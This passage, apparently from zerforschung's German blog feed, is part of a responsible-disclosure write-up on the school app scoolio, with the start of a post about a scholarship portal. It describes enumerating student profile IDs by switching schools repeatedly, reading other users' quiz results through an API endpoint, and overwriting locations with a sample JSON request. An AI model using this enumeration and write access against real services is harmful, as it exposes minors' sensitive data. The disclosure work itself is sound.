&lt;li&gt;&lt;code&gt;154bf0cd-2c53-4a6e-8590-c5879086373c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;006642e8-4ec2-4b8d-9077-4d6f7a5a7c2d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;f49b8c4f-76a8-40bd-8716-458fd4cf4080&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Da jede dieser Zeichenketten zufällig generiert ist, können wir nicht einfach hochzählen. Auch raten ist eher schwierig, weil die Zeichenketten recht lang sind.&lt;/p&gt;
&lt;p&gt;Aber kommen wir wirklich nicht an andere UUIDs?
Wir schauen uns ein paar andere Endpunkte an, zum Beispiel die &amp;ldquo;Tinder für Kinder&amp;rdquo;-Funktion.
Diese verwendet den &lt;code&gt;/api/v3/Explorer/&lt;/code&gt;-Endpunkt, der einfach eine Liste von 500 verkürzten Userprofilen aus derselben Schule und Region wie der User selbst zurückliefert.
Dort stehen zwar nicht alle Informationen über die Menschen aus der Umgebung drin, allerdings die Profil-ID, die wir benötigen, um komplette Profile abzurufen.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;classProfiles&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;levelProfiles&amp;#34;&lt;/span&gt;: [{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;profileId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;29c49d43-ab54-406b-8554-259dac5377be&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;schoolId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cb2cb79f-558c-4683-8a25-9542dd012f69&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;schoolName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Anarchistisches Bildungs Centrum Neuland&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;clLvl&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;12&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;clExt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;nickName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Max&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;primaryImgId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;19d403fd-1ad1-4d44-8b2a-fed4624a2ebb&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;isAmbassador&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;schoolProfiles&amp;#34;&lt;/span&gt;: [{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;profileId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ceb233f4-688f-456e-ab5c-50edd42b0438&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;schoolId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cb2cb79f-558c-4683-8a25-9542dd012f69&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;schoolName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Anarchistisches Bildungs Centrum Neuland&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;clLvl&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;clExt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;H&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;nickName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Maria&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;primaryImgId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a5a68212-c64f-476e-9780-d3990c33e06f&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;isAmbassador&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Jetzt können wir also sehr viele Profile abrufen – von Menschen, die laut App auf die gleiche Schule gehen wie wir.&lt;/p&gt;
&lt;h3 id=&#34;wir-hüpfen-durch-die-schulen&#34;&gt;Wir hüpfen durch die Schulen&lt;/h3&gt;
&lt;p&gt;Wenn wir jetzt in der App angeben, dass wir an alle Schulen gehen, dann könnten wir alle Profil-IDs der einzelnen User finden und damit auch alle Profile abrufen.&lt;/p&gt;
&lt;p&gt;Über den API-Endpunkt für Profileinstellungen ist es möglich, beliebig oft die Schule zu wechseln – ohne jede Limitierung oder Verifikation.
Also könnten wir ein kleines Script schreiben, dass die Schule automatisch wechselt, über die &amp;ldquo;Tinder für Kinder&amp;rdquo;-Funktion Profile findet und diese dann über den Profil-Endpunkt abruft.&lt;/p&gt;
&lt;p&gt;Und schon flössen die Daten. 🌊&lt;/p&gt;
&lt;h3 id=&#34;persönlichkeits-profil-widder-mit-aszendent-jupiter&#34;&gt;Persönlichkeits-Profil: Widder mit Aszendent Jupiter&lt;/h3&gt;
&lt;p&gt;Aber da waren ja noch mehr Daten. Wie oben beschrieben, kann jede*r Nutzer*in an einer Reihe von Quizzes, Persönlichkeitstest, Berufseignungstests, &amp;hellip; teilnehmen und damit Werbeanzeigen bekommen, die besser zu den eigenen Interessen passen.&lt;/p&gt;
&lt;p&gt;Auch diese Funktion haben wir uns natürlich genauer angeschaut und siehe da: Man kann einfach die Ergebnisse aller anderen Nutzer*innen abrufen. Über den Endpunkt &lt;code&gt;/api/v2.0/players/{Profile-ID}/games&lt;/code&gt; können wir die Quiz-Ergebnisse aller Teilnehmer*innen bekommen.&lt;/p&gt;
&lt;p&gt;Dass wir mit dieser Methode auch herausfinden können, in welchen Gruppen ein User ist, wird nun niemanden mehr überraschen.&lt;/p&gt;
&lt;p&gt;Wir haben jetzt also sehr akkurate Personenprofile. Vom Namen über E-Mail-Adresse, exakte Position des Telefons bis hin zu Persönlichkeitsprofilen und anderen sensiblen Persönlichkeitsmerkmalen wie Herkunft, Religion oder Sexualität.&lt;/p&gt;
&lt;h3 id=&#34;viel-spaß-am-nordpol&#34;&gt;Viel Spaß am Nordpol&lt;/h3&gt;
&lt;p&gt;Wir haben noch ein anderes Problem gefunden, wenn auch nur ein kleines im Vergleich zum gigantischen Datenabfluss: Wir konnten nicht nur die Daten aller User abrufen, sondern teilweise auch aktualisieren.&lt;/p&gt;
&lt;p&gt;Den Standort eines Users hätten wir beispielsweise nach Herzenslust verändern können, indem wir eine beliebige Profil-ID an den Endpunkt &lt;code&gt;/api/v3/Profile/location&lt;/code&gt; schicken. Nötig ist dafür nur die Profil-ID – und eine Anfrage wie diese hätte den Standort geändert:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lat&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;51.0716188&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lon&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;13.7491207&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;profileId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;8aad17c8-53a9-4bf1-8568-7a46173a8c4c&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wie viele Schüler*innen betroffen sind, können wir nicht genau sagen. Denn scoolio bläht seine Nutzer*innenzahlen künstlich auf, indem sie ungefragt Accounts anlegen: Sobald man die App herunterlädt und einmal öffnet, wird ein leeres Profil mit einer UUID generiert – unabhängig davon, ob tatsächlich ein User-Account anlegen möchte.&lt;/p&gt;
&lt;p&gt;Scoolio selbst gibt eine Nutzer*innenanzahl von 1,8 Millionen an. Wir gehen davon aus, dass es nur einige 100.000 sind.&lt;/p&gt;
&lt;h2 id=&#34;4-kellergeschoss--und-das-alles-mit-staatlichem-geld&#34;&gt;4. Kellergeschoss – Und das alles mit staatlichem Geld&lt;/h2&gt;
&lt;p&gt;Wir haben hier also eine App mit hunderttausenden Nutzer*innen-Datensätzen.
Diese Datensätze waren in den vergangenen fünf Jahren für alle Menschen mit Grundkenntnissen in Web-Entwicklung oder IT-Sicherheit zugänglich.&lt;/p&gt;
&lt;p&gt;Erinnern wir uns noch einmal an die Aussage des CEO von scoolio: &amp;ldquo;Apps entwickeln ist teuer&amp;rdquo;. Dass die Werbe-Einnahmen in der Anfangszeit ausreichen, ist unwahrscheinlich. Wo kam also das Geld dafür her?&lt;/p&gt;
&lt;p&gt;Scoolio sammelte in den letzten fünf Jahren mehr als zwei Millionen Euro von Investoren ein&lt;sup id=&#34;fnref:8&#34;&gt;&lt;a href=&#34;#fn:8&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;8&lt;/a&gt;&lt;/sup&gt;. Und die haben fast alle eine Gemeinsamkeit: Sie sind staatlich. Dazu gehören:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://sib-dresden.de&#34;&gt;SIB Innovations- und Beteiligungsgesellschaft mbH&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.cfh.de/tgfs-start/&#34;&gt;Technologiegründerfonds Sachsen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kreissparkasse Bautzen&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;vorzeige-staatup&#34;&gt;Vorzeige-Staatup&lt;/h3&gt;
&lt;p&gt;Normalerweise führen Investoren eine sogenannte &lt;em&gt;due dilligence&lt;/em&gt; durch, bevor sie in ein Startup investieren. Dabei wird eine Firma vom Finanzplan bis zur IT-Sicherheit sehr genau geprüft. Oder eben &lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;auch&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/gorillas/&#34;&gt;nicht&lt;/a&gt;. Jedenfalls wirkt es nicht so, als hätte bei scoolio jemals ein Security Audit der Anwendung stattgefunden. Falls doch, wurden vermutlich alle gefundenen Probleme daraus ignoriert.&lt;/p&gt;
&lt;p&gt;Der Staat hat also Millionen in eine Firma gesteckt, damit diese sich Tools bauen kann, um Schüler*innen zu ihrem Produkt zu machen. Zum Vergleich: Für zwei Millionen Euro hätte man auch fünf Entwickler*innen im höheren Dienst fünf Jahre lang beschäftigen können. Der Schuldigitalisierung hätte das gut getan.&lt;/p&gt;
&lt;h2 id=&#34;aber-wir-sind-doch-ein-startup&#34;&gt;&amp;ldquo;Aber wir sind doch ein Startup&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;Scoolio gibt es jetzt seit über fünf Jahren. Als wir den Geschäftsführer der Sicherheitslücke wegen vor einigen Wochen angerufen haben, sagte er, dass scoolio als Startup nicht die Möglichkeiten hätte, sichere Software zu bauen. Man solle aber jungen, doitschen Startups eine Chance geben, sich gegen große Konzerne zu behaupten. Denn diese seien noch unsicherer.&lt;/p&gt;
&lt;p&gt;Das ist eine Argumentation, die uns häufiger begegnet. Sie entstammt in der Regel dem &amp;ldquo;Digitalen Souveränitätsdenken&amp;rdquo; im territorialen Sinne. Dabei werden allerdings Argumente des Datenschutzes und der Datensicherheit wild durcheinander geworfen. Außerdem ist es ehrlich gesagt alles andere als souverän, datenhungrige Werbekonzerne aus den USA zu klonen.&lt;/p&gt;
&lt;p&gt;Datenschutz ist wichtig. Die DSGVO ist weitestgehend großartig. All das ist aber noch kein Grund, die Thematik der Datensicherheit, also der technischen Absicherung der Daten, zu vernachlässigen.
Die beste Rechtsgrundlage bringt schließlich nichts, wenn man sich nicht an sie hält.&lt;/p&gt;
&lt;p&gt;Oder anders gesagt: Was hilft es eine*r Schüler*in, wenn ihre Daten zwar vordergründig auf datenschutzkonformen deutschen Servern gehostet werden, aber dabei durch schlechte technische Absicherung offen im Internet stehen? Richtig: Gar nichts. Oder sogar ein falsches Gefühl von Sicherheit – das mit jedem aufgedeckten Datenabfluss grundlegend erschüttert wird.&lt;/p&gt;
&lt;p&gt;Statt die gesellschaftliche Debatte der digitalen Souveränität immer mehr in einen Digital-Nationalismus abgleiten zu lassen und deshalb in Unternehmen wie scoolio zu investieren, sollten wir nachhaltigere Lösungen bevorzugen.&lt;/p&gt;
&lt;p&gt;So müsste man zum Beispiel dringend viel mehr Open-Source-Lösungen fördern. Die werden in der Regel von internationalen Teams entwickelt. Gleichzeitig müsste man konstant am Wissensaufbau in den Schulen selbst zur Weiterentwicklung und zum Betrieb solcher Lösungen arbeiten.&lt;sup id=&#34;fnref:9&#34;&gt;&lt;a href=&#34;#fn:9&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;9&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;So, Schluss jetzt – wir sind ganz unten angekommen und unserem &lt;a href=&#34;https://de.wikipedia.org/wiki/Kanarienvogel#Verwendung_als_Warnv%C3%B6gel_im_Bergbau&#34;&gt;Kanarienvogel wird schon ganz schwindelig&lt;/a&gt;. Bevor wir wieder an die frische Luft steigen, wollen wir noch ein Fazit ziehen. In kurz: WTF??&lt;/p&gt;
&lt;p&gt;In lang: Das kann doch alles nicht wahr sein!
Wenn das Produkt marktreif genug ist, um Kund*innendaten zu speichern, muss es auch reif genug sein, diese für sich zu behalten.
Besonders, wenn es um eine geschützte Zielgruppe wie z.B. Kinder und Jugendliche geht.
Ganz besonders, wenn es um massiv schützenswerte Daten nach Artikel 9 DSGVO geht. Egal ob Startup oder Konzern. Egal ob nach einem Monat, fünf oder zehn Jahren.&lt;/p&gt;
&lt;p&gt;Der Staat sollte – wenn er denn Wirtschaftsförderung in dieser Form weiterhin für ein sinnvolles Modell hält – wenigstens prüfen, inwieweit sich Unternehmen an geltende Richtlinien (beispielsweise &lt;em&gt;werbefreie Schule&lt;/em&gt;&lt;sup id=&#34;fnref1:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt;) halten. Außerdem würden wir bei der Verwendung von Steuergeld für Investitionen eine ordentliche due dilligence erwarten.&lt;/p&gt;
&lt;p&gt;Und wir reden bei scoolio eben nicht nur über kaputte IT-Sicherheit, sondern über ein von vornherein und offensichtlich völlig kaputtes Konzept und Geschäftsmodell: Schüler*innen sind von ihrer Schule und Lehrer*innen extrem abhängig. Gleichzeitig wecken sie große Begehrlichkeiten bei Marketing-Unternehmen. Es darf nie dazu kommen, dass Schüler*innen im Schulkontext verpflichtet werden, Werbung zu konsumieren!&lt;/p&gt;
&lt;p&gt;Genauso wenig darf ein Modell gefördert werden, in dem beliebige Erwachsene Erstklässler*innen anschreiben oder Räumen wie &amp;ldquo;Kennenlernen für bi sexuelle 👁️👄👁️❤️🏳️‍🌈&amp;rdquo;, &amp;ldquo;Gruppe für Singles 13-16 💘&amp;rdquo; beitreten können.&lt;/p&gt;
&lt;p&gt;Schule ist eine Basisinfrastruktur unserer Gesellschaft. Digitale Schule auch. Wir sollten als Gesellschaft aufhören, den digitalen Teil als ein Extra zu sehen, das man ruhig in privatwirtschaftliche Hände abgeben kann!&lt;/p&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ol start=&#34;19&#34;&gt;
&lt;li&gt;September 2021 - Auffinden der Lücke&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&#34;20&#34;&gt;
&lt;li&gt;September 2021 - Abstimmung mit dem zuständigen DSB zur Beweissicherung und Dokumentation der Lücken&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&#34;21&#34;&gt;
&lt;li&gt;September 2021 - Versenden des Reports, Einigung mit dem Softwarehersteller auf eine Disclosure-Phase von 30 Tagen&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&#34;21&#34;&gt;
&lt;li&gt;September 2021 - 21. Oktober 2021 - fortlaufende Updates des Herstellers zum Stand der Behebung der Probleme&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&#34;25&#34;&gt;
&lt;li&gt;Oktober 2021 - Ausspielen des finalen Updates&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&#34;26&#34;&gt;
&lt;li&gt;Oktober 2021 - Public Disclosure&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;epilog&#34;&gt;Epilog&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Liebe aufmerksame Twitter-User, LKA-Berlin, mit der gerade noch angebrachten Höflichkeit wollen wir auf Folgendes hinweisen: Im Rahmen dieses Artikels haben wir keine personenbezogenen Daten veröffentlicht. Alle dargestellten Datensätze sind fiktional. Ähnlichkeiten zu real existierenden Unternehmen oder Personen sind rein zufällig und nicht beabsichtigt.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.podcast.de/episode/586709186/123-mit-danny-roller-von-scoolio&#34;&gt;https://www.podcast.de/episode/586709186/123-mit-danny-roller-von-scoolio&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.scoolio.de/ausbildungsmarketing/generation-z-2021&#34;&gt;https://www.scoolio.de/ausbildungsmarketing/generation-z-2021&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=PuSE5DW2sYc&#34;&gt;https://www.youtube.com/watch?v=PuSE5DW2sYc&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.dresden.de/de/rathaus/aktuelles/pressemitteilungen/2021/07/pm_108.php&#34;&gt;https://www.dresden.de/de/rathaus/aktuelles/pressemitteilungen/2021/07/pm_108.php&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.scoolio.de/Content/docs/MediadatenScoolioForTeachers.pdf&#34;&gt;https://www.scoolio.de/Content/docs/MediadatenScoolioForTeachers.pdf&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.scoolio.de/fuer-lehrer&#34;&gt;https://www.scoolio.de/fuer-lehrer&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:7&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.kmk.org/fileadmin/Dateien/pdf/PresseUndAktuelles/2013/Verbraucherbildung.pdf&#34;&gt;https://www.kmk.org/fileadmin/Dateien/pdf/PresseUndAktuelles/2013/Verbraucherbildung.pdf&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref1:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:8&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://pitchbook.com/profiles/company/223999-03#signals&#34;&gt;https://pitchbook.com/profiles/company/223999-03#signals&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:8&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:9&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://netzpolitik.org/2020/gemeinsame-erklaerung-der-open-source-bildungsplattformen-lernplattformen-fordern-nachhaltige-finanzierung/&#34;&gt;https://netzpolitik.org/2020/gemeinsame-erklaerung-der-open-source-bildungsplattformen-lernplattformen-fordern-nachhaltige-finanzierung/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:9&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Deine ganze Stipendiums­bewerbung - in einem Tweet zerlegt</title>
      <link>https://zerforschung.org/posts/javengo/</link>
      <pubDate>Fri, 03 Sep 2021 05:50:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/javengo/</guid>
      <description>&lt;p&gt;Ein Studium kostet viel Geld – zu viel für einige Menschen. Deshalb gibt es Stipendien als Unterstützung. Eigentlich eine gute Sache, jedenfalls so lange bei der Bewerbung alles gut läuft. Das mussten wir erfahren, als Teile unseres &lt;a href=&#34;https://zerforschung.org/forscherinnen/&#34;&gt;zerforschungs-Kollektivs&lt;/a&gt; sich für ein Stipendium bewerben wollten - und leider auch gleich wieder über einen ganzen Batzen persönlicher Dokumente von anderen Bewerber*innen gestolpert sind.&lt;/p&gt;
&lt;p&gt;Aber von vorn: &amp;hellip;&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/javengo/tardis.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/javengo/tardis.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Es war einmal ein kleiner Teil von zerforschung, auch &lt;em&gt;ein kleines zerforschi&lt;/em&gt; genannt. Eines Tages überlegte das kleine zerforschi, ob es durch ein Stipendium bei seinem Studium unterstützt werden könnte.&lt;/p&gt;
&lt;p&gt;Also machte es sich auf die Suche nach geeigneten Institutionen, die Stipendien vergeben, und wurde schließlich fündig. Und oh Wunder: Bewerben konnte es sich sogar vollständig online! Das kleine zerforschi freute sich sehr, dass die sogenannte Digitalisierung Früchte trägt und es im Jahr 2021  bereits diese Annehmlichkeiten genießen konnte.&lt;/p&gt;
&lt;p&gt;Dann stieß das zerforschi allerdings auf die ersten Hindernisse: Die Infos zur Bewerbung waren nicht offen zugänglich, man musste sich dafür erst registrieren, was es natürlich sofort tat. Doch große Enttäuschung nach der Registrierung: Mehr Informationen gab es nicht wirklich.&lt;/p&gt;
&lt;h2 id=&#34;kein-zerforschi-forscht-alleine&#34;&gt;Kein zerforschi forscht alleine&lt;/h2&gt;
&lt;p&gt;An dieser Stelle sind wir dem kleinen zerforschi zu Hilfe geeilt und haben die Recherche aufgenommen.&lt;/p&gt;
&lt;p&gt;Die erste Frage, die sich uns stellte: Wer baut so ein Bewerbungs-Portal?
